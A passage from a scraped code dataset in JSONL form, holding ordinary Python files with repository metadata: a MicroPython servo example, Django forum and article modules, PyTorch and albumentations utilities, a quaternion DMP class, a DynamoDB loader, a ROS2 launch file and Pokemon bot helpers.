str_strings)\n","repo_name":"EricxDu/thingmaker","sub_path":"thingmaker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32570463832","text":"# ******************************************************************************************\n# FileName     : 03._servo_motor_up_down\n# Description  : 파랑, 초록 버튼을 눌러 서보모터 움직여 보기\n# Author       : 이승찬\n# Created Date : 2021.08.20\n# Reference    :\n# Modified     : 2022.02.08 : SJI : 헤더 수정, 주석 수정, 소스 크린징 \n# ******************************************************************************************\n\n\n# import\nimport time\nfrom machine import Pin\nfrom ETboard.lib.pin_define import *\nfrom ETboard.lib.servo import Servo\n\n\n# global variable\nservo = Servo(Pin(D6))                         # 서보모터 핀 지정\nUp = Pin(D7)                                   # 파랑 버튼 핀 지정\nDown = Pin(D8)                                 # 초록 버튼 핀 지정\n\n\n# setup\ndef setup():\n    Up.init(Pin.IN)                            # 파랑 버튼 입력모드 설정\n    Down.init(Pin.IN)                          # 초록 버튼 입력모드 설정\n\n\n# mainloop\ndef loop():\n    Up_state = Up.value()                      # 파랑 버튼값 가져오기\n    Down_state = Down.value()                  # 초록 버튼값 가져오기\n    \n    if Up_state == LOW:                        # 파랑 버튼이 눌리면 서보모터 180도 까지 회전\n        servo.write_angle(180)\n        time.sleep(0.3)\n                \n    if Down_state == LOW:                      # 초록 버튼이 눌리면 서보모터 0도 까지 회전\n        servo.write_angle(0)\n        time.sleep(0.3)\n\n\nif __name__ == \"__main__\":\n    setup()\n    while True:\n        loop()\n\n# ==========================================================================================\n#\n#  (주)한국공학기술연구원 http://et.ketri.re.kr\n#\n# ==========================================================================================\n","repo_name":"etboard/ETboard_MicroPython_Level2","sub_path":"src/21_servo_motor/03._servo_motor_up_down/03._servo_motor_up_down.py","file_name":"03._servo_motor_up_down.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74629815094","text":"#Lista 1, exercício 9\n\nn = int(input('número do ano: '))\n\nm = ['Janeiro', 'Fevereiro', 'Março', 'Abril', 'Maio', 'Junho', 'Julho', 'Agosto', 'Setembro', 'Outubro', 'Novembro', 'Dezembro']\n\nif n < 1 or n > 12:\n    print('Número Inválido')\nelse:\n    print(m[n-1])","repo_name":"bmgroppo/Python","sub_path":"BigDataPython/Exercícios1/Lista1/L1E9.py","file_name":"L1E9.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34067739350","text":"import torch\nfrom src.config import cfg\nfrom src.PATHS import MODELS_PATH\n\ndef load_model(model, model_path=None, name=cfg.model.save_name):\n\n    if not model_path:\n        model_path = MODELS_PATH / f\"{cfg.data.dataset}{'_augmented' if cfg.data.augmented else ''}{'_sobel' if cfg.data.sobel else ''}\" / f\"min_{cfg.data.min_concentration}_max_{cfg.data.max_concentration}\" / (\"_\".join(cfg.data.concentration_intervals if cfg.data.concentration_intervals else \"\")) / f\"{cfg.model.name}_{cfg.model.gen_conditioning_mode}_{cfg.model.dis_conditioning_mode}\" / (cfg.model.gen_name + \"-\" + cfg.model.dis_name)\n\n    model.load_state_dict(torch.load(model_path / name))\n    model.eval()\n    \n    return model\n\ndef save_model(model, model_path, name=\"model.pt\"):\n\n    model_path = (model_path / name).as_posix()\n\n    torch.save(model.state_dict(), model_path)\n    \n    print(f\"Model saved at {model_path}\")","repo_name":"ALROAL/gan-data-augmentation","sub_path":"src/model/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"902815602","text":"import json\n\nfrom django.db.models import Q\n\nfrom modules.forumthread import get_post_contents\nfrom modules.listpages import render_pagination, render_date\nfrom renderer import RenderContext, render_template_from_string, render_user_to_html\nimport math\n\nimport renderer\n\nfrom web.controllers import articles, permissions\nfrom web.models.forum import ForumCategory, ForumSection, ForumPost\n\n\ndef has_content():\n    return False\n\n\ndef get_post_info(context, posts, category_for_comments):\n    post_contents = get_post_contents(posts)\n    post_info = []\n\n    for post in posts:\n        thread_url = '/forum/t-%d/%s' % (post.thread.id, articles.normalize_article_name(post.thread.name if post.thread.category_id else post.thread.article.display_name))\n        render_post = {\n            'id': post.id,\n            'name': post.name.strip() or 'Перейти к сообщению',\n            'author': render_user_to_html(post.author),\n            'created_at': render_date(post.created_at),\n            'content': renderer.single_pass_render(post_contents.get(post.id, ('', None))[0], RenderContext(None, None, {}, context.user), 'message'),\n            'url': '%s#post-%d' % (thread_url, post.id),\n            'category': {\n                'id': post.thread.category.id,\n                'name': post.thread.category.name,\n                'section_name': post.thread.category.section.name,\n                'section_url': '/forum/s-%d/%s' % (post.thread.category.section.id, articles.normalize_article_name(post.thread.category.section.name)),\n                'url': '/forum/c-%d/%s' % (post.thread.category.id, articles.normalize_article_name(post.thread.category.name))\n            } if post.thread.category_id else {\n                'id': category_for_comments.id,\n                'name': category_for_comments.name,\n                'section_name': category_for_comments.section.name,\n                'section_url': '/forum/s-%d/%s' % (category_for_comments.section.id, articles.normalize_article_name(category_for_comments.section.name)),\n                'url': '/forum/c-%d/%s' % (category_for_comments.id, articles.normalize_article_name(category_for_comments.name))\n            } if category_for_comments else None,\n            'thread': {\n                'id': post.thread.id,\n                'name': post.thread.name if post.thread.category_id else post.thread.article.display_name,\n                'url': thread_url\n            }\n        }\n        post_info.append(render_post)\n\n    return post_info\n\n\ndef render(context: RenderContext, params):\n    context.title = 'Последние сообщения форума'\n\n    all_categories = [x for x in ForumCategory.objects.order_by('order', 'id') if permissions.check(context.user, 'view', x)]\n\n    category_param = '*'\n\n    try:\n        if context.path_params.get('c', '*') != '*':\n            view_category = int(context.path_params.get('c'))\n            category = ForumCategory.objects.filter(id=view_category)\n            category = category[0] if category else None\n        else:\n            category = None\n    except:\n        category = None\n        all_categories = []\n\n    if category not in all_categories:\n        category = None\n\n    if category:\n        category_param = category.id\n\n    are_comments_shown = bool([x for x in all_categories if x.is_for_comments])\n    if category:\n        are_comments_shown = category.is_for_comments\n\n    try:\n        page = int(context.path_params.get('p'))\n    except:\n        page = 1\n    if page < 1:\n        page = 1\n\n    if category is None:\n        if are_comments_shown:\n            q = ForumPost.objects.filter(Q(thread__category__in=all_categories) | Q(thread__article__isnull=False))\n        else:\n            q = ForumPost.objects.filter(thread__category__in=all_categories)\n    else:\n        if category.is_for_comments:\n            q = ForumPost.objects.filter(thread__article__isnull=False)\n        else:\n            q = ForumPost.objects.filter(thread__category=category)\n\n    q = q.order_by('-created_at')\n\n    per_page = 20\n\n    total = q.count()\n\n    max_page = max(1, int(math.ceil(total / per_page)))\n    if page > max_page:\n        page = max_page\n\n    category_for_comments = [x for x in all_categories if x.is_for_comments]\n    category_for_comments = category_for_comments[0] if category_for_comments else None\n    if category and category.is_for_comments:\n        category_for_comments = category\n\n    posts = q[(page - 1) * per_page:page * per_page]\n    post_info = get_post_info(context, posts, category_for_comments)\n\n    categories = []\n    raw_categories = all_categories\n    raw_sections = ForumSection.objects.all().order_by('order', 'id')\n    for s in raw_sections:\n        if not permissions.check(context.user, 'view', s):\n            continue\n        cs = []\n        for c in raw_categories:\n            if c.section_id != s.id:\n                continue\n            cs.append({'name': '\\u00a0\\u00a0'+c.name, 'canSelect': True, 'id': c.id})\n        if cs:\n            categories.append({'name': s.name, 'canSelect': False, 'id': None})\n            categories += cs\n\n    return render_template_from_string(\n        \"\"\"\n        <div class=\"forum-recent-posts-box w-forum-recent-posts\" data-recent-posts-path-params=\"{{ data_path_params }}\" data-recent-posts-params=\"{{ data_params }}\">\n            <form onsubmit=\"return false;\" action=\"\" method=\"get\">\n                <table class=\"form\">\n                <tbody>\n                <tr>\n                    <td>Из категории:</td>\n                    <td>\n                        <select id=\"recent-posts-category\">\n                            <option value=\"*\"{% if category_param == '*' %} selected{% endif %}>Все категории</option>\n                            {% for category in categories %}\n                                <option value=\"{{ category.id }}\"{% if not category.canSelect %} disabled{% endif %}{% if category.id == category_param %} selected{% endif %}>\n                                    {{ category.name }}\n                                </option>\n                            {% endfor %}\n                        </select>\n                        <input class=\"buttons btn btn-primary\" type=\"button\" value=\"Обновить\">\n                    </td>\n                </tr>\n                </tbody>\n                </table>\n            </form>\n            <div id=\"forum-recent-posts-list\">\n                <div class=\"thread-container\">\n                    {{ pagination }}\n                    {% for post in posts %}\n                    <div class=\"post-container\">\n                        <div class=\"post\" id=\"post-{{ post.id }}\">\n                            <div class=\"long\">\n                                <div class=\"head\">\n                                    <div class=\"title\">\n                                        <a href=\"{{ post.url }}\">{{ post.name }}</a>\n                                    </div>\n                                    <div class=\"info\">\n                                        {{ post.author }} {{ post.created_at }}\n                                        <br>\n                                        в дискуссии\n                                        {% if post.category %}\n                                        <a href=\"{{ post.category.section_url }}\">{{ post.category.section_name }}</a> &raquo;\n                                        <a href=\"{{ post.category.url }}\">{{post.category.name}}</a> &raquo;\n                                        {% endif %}\n                                        <a href=\"{{ post.thread.url}}\">{{ post.thread.name }}</a>\n                                    </div>\n                                </div>\n                                <div class=\"content\">\n                                    {{ post.content }}\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n                    {% endfor %}\n                    {{ pagination }}\n                </div>\n            </div>\n        </div>\n        \"\"\",\n        posts=post_info,\n        categories=categories,\n        pagination=render_pagination(None, page, max_page) if max_page != 1 else '',\n        data_path_params=json.dumps(context.path_params),\n        data_params=json.dumps(params),\n        category_param=category_param\n    )\n","repo_name":"SCPru/RuFoundation","sub_path":"modules/recentposts.py","file_name":"recentposts.py","file_ext":"py","file_size_in_byte":8391,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"22"}
+{"seq_id":"9872303007","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"Created on Fri Dec 28 21:00:00 2018\n\n@author: gsutanto\n\"\"\"\n\nimport numpy as np\nimport numpy.linalg as npla\nimport numpy.matlib as npma\nimport os\nimport sys\nimport copy\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../dmp_param/\"))\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../dmp_state/\"))\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../../utilities/\"))\nfrom TauSystem import *\nfrom GoalSystem import *\nfrom QuaternionDMPState import *\nimport utility_quaternion as util_quat\n\n\nclass QuaternionGoalSystem(GoalSystem, object):\n  \"Class for Quaternion goal evolution systems of QuaternionDMPs.\"\n\n  def __init__(self, tau_system, alpha_init=25.0 / 2.0, name=\"\"):\n    super(QuaternionGoalSystem, self).__init__(\n        dmp_num_dimensions_init=3,\n        tau_system=tau_system,\n        goal_num_dimensions_init=4,\n        current_goal_state=QuaternionDMPState(name=name +\n                                              \"_current_quaternion_goal_state\"),\n        alpha_init=alpha_init,\n        name=name)\n\n  def updateCurrentGoalState(self, dt):\n    assert (self.is_started), \"QuaternionGoalSystem is NOT yet started!\"\n    assert (self.isValid()), (\n        \"Pre-condition(s) checking is failed: this QuaternionGoalSystem is \"\n        \"invalid!\")\n    assert (dt > 0.0), \"dt=\" + str(dt) + \" <= 0.0 (invalid!)\"\n\n    tau = self.tau_sys.getTauRelative()\n    QG = self.G\n    Qg = self.current_goal_state.getQ()\n    omegag = self.current_goal_state.getOmega()\n\n    log_quat_diff_g = util_quat.computeLogQuatDifference(\n        QG.T, Qg.T).reshape(1, self.dmp_num_dimensions).T\n    next_omegag = (self.alpha * 1.0 / tau) * log_quat_diff_g\n    next_Qg = util_quat.integrateQuat(Qg.T, next_omegag.T, dt).reshape(1, 4).T\n    next_omegagd = (next_omegag - omegag) / dt\n    self.current_goal_state.setQ(next_Qg)\n    self.current_goal_state.setOmega(next_omegag)\n    self.current_goal_state.setOmegad(next_omegagd)\n    self.current_goal_state.computeQdAndQdd()\n    self.current_goal_state.setTime(self.current_goal_state.getTime() + dt)\n\n    assert (self.isValid()), (\n        \"Post-condition(s) checking is failed: this QuaternionGoalSystem became\"\n        \" invalid!\")\n    return None\n","repo_name":"gsutanto/dmp","sub_path":"python/dmp_goal_system/QuaternionGoalSystem.py","file_name":"QuaternionGoalSystem.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"75422329975","text":"from __future__ import print_function # Python 2/3 compatibility\nimport boto3\nimport json\nimport decimal\n\ndynamodb = boto3.resource('dynamodb', region_name='us-west-2')\n\ntable = dynamodb.Table('QuoteTable_Dev')\n\nwith open(\"quotes_pretty.json\") as json_file:\n\tquotes = json.load(json_file, parse_float = decimal.Decimal)\n\tfor quote in quotes:\n\t\tid = quote['id']\n\t\tcontent = quote['content']\n\t\tauthor = quote['author']\n\t\tcreatedDate = quote['createdDate']\n\t\tprofession = quote['profession']\n\t\tauthorOccupation = quote['authorOccupation']\n\t\tauthorBirthday = quote['authorBirthday']\n\t\tauthorBirthname = quote['authorBirthname']\n\t\tauthorBirthplace = quote['authorBirthplace']\n\n\n\t\tprint(\"Adding quote:\", author, content)\n\n\t\ttable.put_item(\n\t\t\tItem={\n\t\t\t\t'id': id,\n\t\t\t\t'author': author,\n\t\t\t\t'content': content,\n\t\t\t\t'profession': profession,\n\t\t\t\t'createdDate': createdDate,\n\t\t\t\t'authorOccupation': authorOccupation,\n\t\t\t\t'authorBirthday': authorBirthday,\n\t\t\t\t'authorBirthname': authorBirthname,\n\t\t\t\t'authorBirthplace': authorBirthplace,\n\t\t\t\t'likes': 0,\n\t\t\t\t'dislikes': 0\n\t\t\t}\n\t\t)","repo_name":"yangdu119/MottoBook","sub_path":"src/Utilities/loadData.py","file_name":"loadData.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22829035191","text":"import launch\nimport launch.actions\nfrom ament_index_python.packages import get_package_share_directory\nimport launch_ros.actions\nfrom launch.actions import DeclareLaunchArgument\nfrom launch.substitutions import TextSubstitution, LaunchConfiguration, PathJoinSubstitution\n\ndef generate_launch_description():\n\n    # Read in the vehicle's namespace through the command line or use the default value one is not provided\n    robot = LaunchConfiguration(\"robot\")\n\n    \n    # declare the path to the robot's vehicle description file\n    config = PathJoinSubstitution([\n        get_package_share_directory('riptide_descriptions2'),\n        'config',\n        LaunchConfiguration(\"robot_yaml\")\n    ])\n\n    return launch.LaunchDescription([\n        DeclareLaunchArgument(\n            \"robot\", \n            default_value=\"tempest\",\n            description=\"Name of the vehicle\",\n        ),\n        DeclareLaunchArgument('robot_yaml', default_value=[LaunchConfiguration(\"robot\"), '.yaml']),\n\n        launch_ros.actions.Node(\n            package=\"riptide_controllers2\",\n            executable=\"controller\",\n            name=\"controller\",\n            output=\"screen\",\n            parameters=[\n                {\"vehicle_config\": config},\n                {\"robot\": robot},\n            ]\n        ),\n\n        launch_ros.actions.Node(\n            package=\"riptide_controllers2\",\n            executable=\"thruster_solver\",\n            name=\"thruster_solver\",\n            output=\"screen\",\n            parameters=[\n                {\"vehicle_config\": config},\n                {\"robot\": robot},\n            ]\n        ),\n\n        launch_ros.actions.Node(\n            package=\"riptide_controllers2\",\n            executable=\"thruster_wrench_publisher\",\n            name=\"thruster_wrench_publisher\",\n            output=\"screen\",\n            parameters=[\n                {\"vehicle_config\": config},\n                {\"robot\": robot},\n            ]\n        ),\n\n        launch_ros.actions.Node(\n            package=\"riptide_controllers2\",\n            executable=\"thruster_test\",\n            name=\"thruster_test\",\n            output=\"screen\",\n            parameters=[\n                {\"vehicle_config\": config},\n                {\"robot\": robot},\n            ]\n        ),\n\n        launch_ros.actions.Node(\n            package=\"riptide_controllers2\",\n            executable=\"calibrate_buoyancy\",\n            name=\"calibrate_buoyancy\",\n            output=\"screen\",\n            parameters=[\n                {\"vehicle_config\": config},\n                {\"robot\": robot},\n            ]\n        ),\n\n        launch_ros.actions.Node(\n            package=\"riptide_controllers2\",\n            executable=\"calibrate_drag\",\n            name=\"calibrate_drag\",\n            output=\"screen\",\n            parameters=[\n                {\"vehicle_config\": config},\n                {\"robot\": robot},\n            ]\n        ),\n    ])","repo_name":"osu-uwrt/riptide_controllers","sub_path":"launch/controller.launch.py","file_name":"controller.launch.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"19058053309","text":"from typing import List, Tuple, Union\n\nimport albumentations as A\nimport numpy as np\nimport torch\nfrom albumentations.pytorch import ToTensorV2 as ToTensor\n\n__all__ = [\"BaseTransforms\"]\n\n\nclass BaseTransforms:\n    # mean = (0.485, 0.456, 0.406)\n    # std = (0.229, 0.224, 0.225)\n    mean = (0.5, 0.5, 0.5)\n    std = (0.5, 0.5, 0.5)\n\n    def __init__(\n        self,\n        image_shape: List[int],\n        train: Union[int, bool, str] = False,\n        mean: Tuple[float, float, float] = None,\n        std: Tuple[float, float, float] = None,\n    ) -> None:\n        c, image_size, _ = image_shape\n        train = True if isinstance(train, str) and train == \"train\" else False\n\n        mean = self.mean if mean is None else mean\n        std = self.std if std is None else std\n\n        assert c == len(mean)\n        assert c == len(std)\n\n        self.transforms = A.Compose(\n            [\n                A.Resize(image_size, image_size),\n                A.HorizontalFlip(p=1.0 if train else 0.0),\n                A.Normalize(\n                    mean=mean,\n                    std=std,\n                    max_pixel_value=255.0,\n                ),\n                ToTensor(),\n            ]\n        )\n\n    def __call__(self, image: np.ndarray) -> torch.Tensor:\n        image = np.array(image)\n        return self.transforms(image=image)[\"image\"]\n","repo_name":"rapidrabbit76/Face-Recognition-Pytorch-Lightning","sub_path":"transfoms/base_transforms.py","file_name":"base_transforms.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16445958317","text":"from django.conf.urls.defaults import *\n\nfrom articles import views\nfrom articles.feeds import TagFeed, LatestEntries, TagFeedAtom, LatestEntriesAtom\n\ntag_rss = TagFeed()\nlatest_rss = LatestEntries()\ntag_atom = TagFeedAtom()\nlatest_atom = LatestEntriesAtom()\n\nurlpatterns = patterns('',\n    (r'^(?P<year>\\d{4})/(?P<month>.{3})/(?P<day>\\d{1,2})/(?P<slug>.*)/$', views.redirect_to_article),\n    url(r'^(?P<year>\\d{4})/(?P<month>\\d{1,2})/page/(?P<page>\\d+)/$', views.display_blog_page, name='articles_in_month_page'),\n    url(r'^(?P<year>\\d{4})/(?P<month>\\d{1,2})/$', views.display_blog_page, name='articles_in_month'),\n)\n\nurlpatterns += patterns('',\n    url(r'^$', views.display_blog_page, name='articles_archive'),\n    url(r'^page/(?P<page>\\d+)/$', views.display_blog_page, name='articles_archive_page'),\n\n    url(r'^tag/(?P<tag>.*)/page/(?P<page>\\d+)/$', views.display_blog_page, name='articles_display_tag_page'),\n    url(r'^tag/(?P<tag>.*)/$', views.display_blog_page, name='articles_display_tag'),\n\n    url(r'^author/(?P<username>.*)/page/(?P<page>\\d+)/$', views.display_blog_page, name='articles_by_author_page'),\n    url(r'^author/(?P<username>.*)/$', views.display_blog_page, name='articles_by_author'),\n\n    url(r'^(?P<year>\\d{4})/(?P<slug>.*)/$', views.display_article, name='articles_display_article'),\n\n    # AJAX\n    url(r'^ajax/tag/autocomplete/$', views.ajax_tag_autocomplete, name='articles_tag_autocomplete'),\n\n    # RSS\n    url(r'^feeds/latest\\.rss$', latest_rss, name='articles_rss_feed_latest'),\n    url(r'^feeds/latest/$', latest_rss),\n    url(r'^feeds/tag/(?P<slug>[\\w_-]+)\\.rss$', tag_rss, name='articles_rss_feed_tag'),\n    url(r'^feeds/tag/(?P<slug>[\\w_-]+)/$', tag_rss),\n\n    # Atom\n    url(r'^feeds/atom/latest\\.xml$', latest_atom, name='articles_atom_feed_latest'),\n    url(r'^feeds/atom/tag/(?P<slug>[\\w_-]+)\\.xml$', tag_atom, name='articles_atom_feed_tag'),\n\n)\n","repo_name":"codekoala/django-articles","sub_path":"articles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"22"}
+{"seq_id":"7753642870","text":"import logging\nimport json\nfrom glob import glob\nfrom .GenUtils import get_path\nfrom .. import Unknown\n\nlog = logging.getLogger('GenUtils')\n\n\ndef get_monster_id(pokemon_name):\n    try:\n        name = str(pokemon_name).lower()\n        if not hasattr(get_monster_id, 'ids'):\n            get_monster_id.ids = {}\n            files = glob(get_path('locales/*.json'))\n            for file_ in files:\n                with open(file_, 'r') as f:\n                    j = json.loads(f.read())\n                    j = j['pokemon']\n                    for id_ in j:\n                        nm = j[id_].lower()\n                        get_monster_id.ids[nm] = int(id_)\n\n        if name in get_monster_id.ids:\n            return get_monster_id.ids[name]\n        else:\n            return int(name)\n    except ValueError:\n        raise ValueError((\n            \"Unable to interpret `{}` as a valid  monster name or id.\"\n        ).format(pokemon_name))\n\n\ndef get_gender_sym(gender):\n    gender = str(gender).lower()\n    if gender == '?':\n        return '?'\n    elif gender == '1' or gender == 'male':\n        return u'\\u2642'\n    elif gender == '2' or gender == 'female':\n        return u'\\u2640'\n    elif gender == '3' or gender == 'neutral':\n        return u'\\u26b2'\n    else:\n        raise ValueError((\n            \"Unable to interpret `{}` as a supported  gender name or id.\"\n        ).format(gender))\n\n\ndef get_move_type(move_id):\n    if not hasattr(get_move_type, 'info'):\n        get_move_type.info = {}\n        file_ = get_path('data/move_info.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for id_ in j:\n            get_move_type.info[int(id_)] = j[id_]['type']\n    return get_move_type.info.get(move_id, Unknown.SMALL)\n\n\ndef get_move_damage(move_id):\n    if not hasattr(get_move_damage, 'info'):\n        get_move_damage.info = {}\n        file_ = get_path('data/move_info.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for id_ in j:\n            get_move_damage.info[int(id_)] = j[id_]['damage']\n    return get_move_damage.info.get(move_id, 'unkn')\n\n\ndef get_move_dps(move_id):\n    if not hasattr(get_move_dps, 'info'):\n        get_move_dps.info = {}\n        file_ = get_path('data/move_info.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for id_ in j:\n            get_move_dps.info[int(id_)] = j[id_]['dps']\n    return get_move_dps.info.get(move_id, 'unkn')\n\n\ndef get_move_duration(move_id):\n    if not hasattr(get_move_duration, 'info'):\n        get_move_duration.info = {}\n        file_ = get_path('data/move_info.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for id_ in j:\n            get_move_duration.info[int(id_)] = j[id_]['duration']\n    return get_move_duration.info.get(move_id, 'unkn')\n\n\ndef get_move_energy(move_id):\n    if not hasattr(get_move_energy, 'info'):\n        get_move_energy.info = {}\n        file_ = get_path('data/move_info.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for id_ in j:\n            get_move_energy.info[int(id_)] = j[id_]['energy']\n    return get_move_energy.info.get(move_id, 'unkn')\n\n\ndef get_base_height(pokemon_id):\n    if not hasattr(get_base_height, 'info'):\n        get_base_height.info = {}\n        file_ = get_path('data/base_stats.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for id_ in j:\n            get_base_height.info[int(id_)] = j[id_].get('height')\n    return get_base_height.info.get(pokemon_id)\n\n\ndef get_base_weight(pokemon_id):\n    if not hasattr(get_base_weight, 'info'):\n        get_base_weight.info = {}\n        file_ = get_path('data/base_stats.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for id_ in j:\n            get_base_weight.info[int(id_)] = j[id_].get('weight')\n    return get_base_weight.info.get(pokemon_id)\n\n\ndef get_base_stats(pokemon_id):\n    if not hasattr(get_base_stats, 'info'):\n        get_base_stats.info = {}\n        file_ = get_path('data/base_stats.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for id_ in j:\n            get_base_stats.info[int(id_)] = {\n                \"attack\": float(j[id_].get('attack')),\n                \"defense\": float(j[id_].get('defense')),\n                \"stamina\": float(j[id_].get('stamina'))\n            }\n    return get_base_stats.info.get(pokemon_id)\n\n\ndef get_pokemon_cp_range(pokemon_id, level):\n    stats = get_base_stats(pokemon_id)\n    if not hasattr(get_pokemon_cp_range, 'info'):\n        get_pokemon_cp_range.info = {}\n        file_ = get_path('data/cp_multipliers.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for lvl_ in j:\n            get_pokemon_cp_range.info[lvl_] = j[lvl_]\n\n    cp_multi = get_pokemon_cp_range.info[\"{}\".format(level)]\n    min_cp = int(\n        ((stats['attack'] + 10.0) * pow((stats['defense'] + 10.0), 0.5)\n         * pow((stats['stamina'] + 10.0), 0.5) * pow(cp_multi, 2)) / 10.0)\n    max_cp = int(\n        ((stats['attack'] + 15.0) * pow((stats['defense'] + 15.0), 0.5) *\n         pow((stats['stamina'] + 15.0), 0.5) * pow(cp_multi, 2)) / 10.0)\n    return min_cp, max_cp\n\n\ndef get_size_id(size_name):\n    try:\n        name = str(size_name).lower()\n        if not hasattr(get_size_id, 'sizes'):\n            get_size_id.ids = {}\n\n            files = glob(get_path('locales/*.json'))\n            for file_ in files:\n                with open(file_, 'r') as f:\n                    j = json.loads(f.read())\n                    j = j['sizes']\n                    for id_ in j:\n                        nm = j[id_].lower()\n                        get_size_id.ids[nm] = int(id_)\n\n        if name in get_size_id.ids:\n            return get_size_id.ids[name]\n        else:\n            return int(name)\n    except Exception:\n        raise ValueError((\n            \"Unable to interpret `{}` as a valid size name or id.\"\n        ).format(size_name))\n\n\ndef size_ratio(pokemon_id, height, weight):\n    height_ratio = height / get_base_height(pokemon_id)\n    weight_ratio = weight / get_base_weight(pokemon_id)\n    return height_ratio + weight_ratio\n\n\ndef get_pokemon_size(pokemon_id, height, weight):\n    size = size_ratio(pokemon_id, height, weight)\n    if size < 1.5:\n        return 1\n    elif size <= 1.75:\n        return 2\n    elif size <= 2.25:\n        return 3\n    elif size <= 2.5:\n        return 4\n    else:\n        return 5\n\n\ndef is_weather_boosted(pokemon_id, weather_id):\n    if not hasattr(is_weather_boosted, 'info'):\n        is_weather_boosted.info = {}\n        file_ = get_path('data/weather_boosts.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n        for w_id in j:\n            is_weather_boosted.info[w_id] = j[w_id]\n    boosted_types = is_weather_boosted.info.get(str(weather_id), {})\n    types = get_base_types(pokemon_id)\n    return types[0] in boosted_types or types[1] in boosted_types\n\n\ndef get_base_types(pokemon_id):\n    if not hasattr(get_base_types, 'info'):\n        get_base_types.info = {}\n        file_ = get_path('data/base_stats.json')\n        with open(file_, 'r') as f:\n            j = json.loads(f.read())\n            for id_ in j:\n                get_base_types.info[int(id_)] = [\n                    j[id_].get('type1'),\n                    j[id_].get('type2')\n                ]\n    return get_base_types.info.get(pokemon_id)\n\n\ndef get_type_emoji(type_id):\n    return {\n        1: \"<:type_normal:408293834305306624>\",\n        2: \"<:type_fighting:408293833747595275>\",\n        3: \"<:type_flying:408293834024419328>\",\n        4: \"<:type_poison:408293833990864898>\",\n        5: \"<:type_ground:408293834112630784>\",\n        6: \"<:type_rock:408293834284335106>\",\n        7: \"<:type_bug:408293832451686403>\",\n        8: \"<:type_ghost:408293833663578113>\",\n        9: \"<:type_steel:408293834297180160>\",\n        10: \"<:type_fire:408293833680486401>\",\n        11: \"<:type_water:408293834200449024>\",\n        12: \"<:type_grass:408293834242523136>\",\n        13: \"<:type_electric:408293833864904704>\",\n        14: \"<:type_psychic:408293833802121220>\",\n        15: \"<:type_ice:408293833885876235>\",\n        16: \"<:type_dragon:408293833512845312>\",\n        17: \"<:type_fairy:408293834397712384>\",\n        18: \"<:type_dark:408293833055666176>\"\n    }.get(type_id, '')\n\n\ndef get_color(color_id):\n    try:\n        if float(color_id) == 1:\n            return 0xffb3d9\n        elif float(color_id) == 2:\n            return 0xff3377\n        elif float(color_id) == 3:\n            return 0xffcc99\n        elif float(color_id) == 4:\n            return 0xffcc33\n        elif float(color_id) == 5:\n            return 0x660066\n        elif float(color_id) < 25:\n            return 0x9d9d9d\n        elif float(color_id) < 50:\n            return 0xffffff\n        elif float(color_id) < 82:\n            return 0x1eff00\n        elif float(color_id) < 90:\n            return 0x0070dd\n        elif float(color_id) < 100:\n            return 0xa335ee\n        elif float(color_id) == 100:\n            return 0xff8000\n    except ValueError:\n        return 0x4F545C\n","repo_name":"danrneal/pokebot","sub_path":"PokeBot/Utilities/MonUtils.py","file_name":"MonUtils.py","file_ext":"py","file_size_in_byte":9208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36066180695","text":"import io\nimport os\nimport subprocess\nfrom multiprocessing import Pool\nfrom shutil import copy2\n\nmagenta = lambda text: '\\033[0;35m' + text + '\\033[0m'\n\n\ndef read_frame_flags(txt_dir):\n    '''\n        Reat the 'frame_flag.txt' file and parse the info into a dictionary\n    :param txt_dir:\n    :return: A dictionary set_info={'type': (str) or data type,\n                                    'canon: (str) starting frame of the canon,\n                                    'zed': (str) starting frame of the zed,\n                                    'cam_moving': (bool) whether camera is moving}\n    '''\n\n    set_info = {}\n    with open(txt_dir, 'r') as file:\n        lines = file.readlines()\n        for line in lines:\n            line = line.strip()\n            if line in ['training', 'validation', 'test']:\n                set_info['type'] = line\n            elif 'canon' in line:\n                set_info['canon'] = line.split(':')[-1]\n            elif 'zed' in line:\n                set_info['zed'] = line.split(':')[-1]\n            elif line == 'camera_moving':\n                set_info['cam_moving'] = True\n            elif 'None' == line:\n                set_info = None\n                break\n\n    return 